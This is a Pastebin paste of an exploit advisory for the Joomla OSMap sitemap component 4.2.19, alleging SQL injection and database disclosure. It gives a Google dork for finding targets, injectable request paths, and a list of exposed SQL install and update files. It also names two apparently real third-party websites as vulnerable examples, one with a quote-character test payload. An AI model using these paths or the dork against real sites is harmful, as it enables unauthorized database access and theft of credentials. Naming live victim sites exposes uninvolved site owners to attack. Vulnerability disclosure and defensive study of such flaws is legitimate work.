API tools faq
paste
KingSkrupellos

Joomla OSMap Components 4.2.19 SQL Inj DB Disc

KingSkrupellos
Feb 13th, 2019
55
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.08 KB | None | 0 0
raw download clone embed print report
  1. ####################################################################
  2.  
  3. # Exploit Title : Joomla OSMap Components 4.2.19 SQL Injection / Database Disclosure
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 14/02/2019
  7. # Vendor Homepage : joomlashack.com
  8. # Software Download Link : joomlashack.com/joomla-extensions/osmap/
  9. github.com/OSTraining/OSMap/archive/master.zip
  10. github.com/pabloarias/Joomla3-Base/tree/master/administrator/components/com_osmap
  11. # Software Information Link : extensions.joomla.org/extension/osmap/
  12. github.com/OSTraining/OSMap
  13. # Software Version : 4.2.19 and all previous versions.
  14. # Software Price : 39$ and 49$
  15. # Tested On : Windows and Linux
  16. # Category : WebApps
  17. # Exploit Risk : Medium
  18. # Google Dorks : inurl:''/index.php?option=com_osmap''
  19. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  20. Special Elements used in an SQL Command ('SQL Injection') ]
  21. CWE-200 [ Information Exposure ]
  22. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  23. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  24. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  25.  
  26. ####################################################################
  27.  
  28. # Description about Software :
  29. ***************************
  30. OSMap - the easiest way to create a Joomla sitemap.
  31.  
  32. OSMap is a Joomla sitemap generator. It will build an SEO-friendly XML
  33.  
  34. sitemap for Google and other search engines.
  35.  
  36. It will also build an HTML sitemap for your visitors.
  37.  
  38. ####################################################################
  39.  
  40. # Impact :
  41. ***********
  42. * Joomla OSMap Components 4.2.19 and other versions -
  43.  
  44. component for Joomla is prone to an SQL-injection vulnerability because it
  45.  
  46. fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  47.  
  48. Exploiting this issue could allow an attacker to compromise the application,
  49.  
  50. access or modify data, or exploit latent vulnerabilities in the underlying database.
  51.  
  52. A remote attacker can send a specially crafted request to the vulnerable application
  53.  
  54. and execute arbitrary SQL commands in application`s database.
  55.  
  56. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  57.  
  58. An attacker can exploit this issue using a browser.
  59.  
  60. * This Software prone to an information exposure/database disclosure vulnerability.
  61.  
  62. Successful exploits of this issue may allow an attacker to obtain sensitive
  63.  
  64. information by downloading the full contents of the application's database.
  65.  
  66. * Any remote user may download the database files and gain access
  67.  
  68. to sensitive information including unencrypted authentication credentials.
  69.  
  70. ####################################################################
  71.  
  72. # SQL Injection Exploit :
  73. **********************
  74. /index.php?option=com_osmap&view=html&id=[SQL Injection]
  75.  
  76. /index.php?option=com_osmap&view=html&id=[ID-NUMBER]&Itemid=[SQL Injection]
  77.  
  78. /index.php?option=com_osmap&view=xml&tmpl=component&id=[SQL Injection]
  79.  
  80. # Database Disclosure Exploit :
  81. ***************************
  82. /administrator/components/com_osmap/sql/install/mysql/utf8.sql
  83.  
  84. /administrator/components/com_osmap/sql/uninstall/mysql/utf8.sql
  85.  
  86. /administrator/components/com_osmap/sql/updates/mysql/utf8/3.3.0.sql
  87.  
  88. /administrator/components/com_osmap/sql/updates/mysql/utf8/3.3.1.sql
  89.  
  90. /administrator/components/com_osmap/sql/updates/mysql/utf8/3.4.0.sql
  91.  
  92. /administrator/components/com_osmap/sql/updates/mysql/utf8/3.4.1.sql
  93.  
  94. /administrator/components/com_osmap/sql/updates/mysql/utf8/4.0.0.sql
  95.  
  96. /administrator/components/com_osmap/sql/updates/mysql/utf8/4.0.1.sql
  97.  
  98. /administrator/components/com_osmap/sql/updates/mysql/utf8/4.0.2.sql
  99.  
  100. /administrator/components/com_osmap/sql/updates/mysql/utf8/4.0.3.sql
  101.  
  102. /administrator/components/com_osmap/sql/updates/mysql/utf8/4.1.0.sql
  103.  
  104. /administrator/components/com_osmap/sql/updates/mysql/utf8/4.1.1.sql
  105.  
  106. /administrator/components/com_osmap/sql/updates/mysql/utf8/4.1.2.sql
  107.  
  108. /administrator/components/com_osmap/sql/updates/mysql/utf8/4.1.3.sql
  109.  
  110. /administrator/components/com_osmap/sql/updates/mysql/utf8/4.1.4.sql
  111.  
  112. /administrator/components/com_osmap/sql/updates/mysql/utf8/4.1.5.sql
  113.  
  114. /administrator/components/com_osmap/sql/updates/mysql/utf8/4.2.0.sql
  115.  
  116. ####################################################################
  117.  
  118. # Example Vulnerable Sites :
  119. *************************
  120. [+] heinrichheinedo.de/index.php?option=com_osmap&view=html&id=1%27
  121.  
  122. [+] staszickutno.pl/jbip/administrator/components/com_osmap/sql/install/mysql/utf8.sql
  123.  
  124. ####################################################################
  125.  
  126. # Example SQL Database Error :
  127. ****************************
  128. Warning: Parameter 1 to osmap_com_k2::getTree() expected to be a
  129. reference, value given in /www/htdocs/v088159/2017/administrator
  130. /components/com_osmap/library/alledia/osmap/Helper/General.php on line 378
  131.  
  132. ####################################################################
  133.  
  134. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  135.  
  136. ####################################################################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!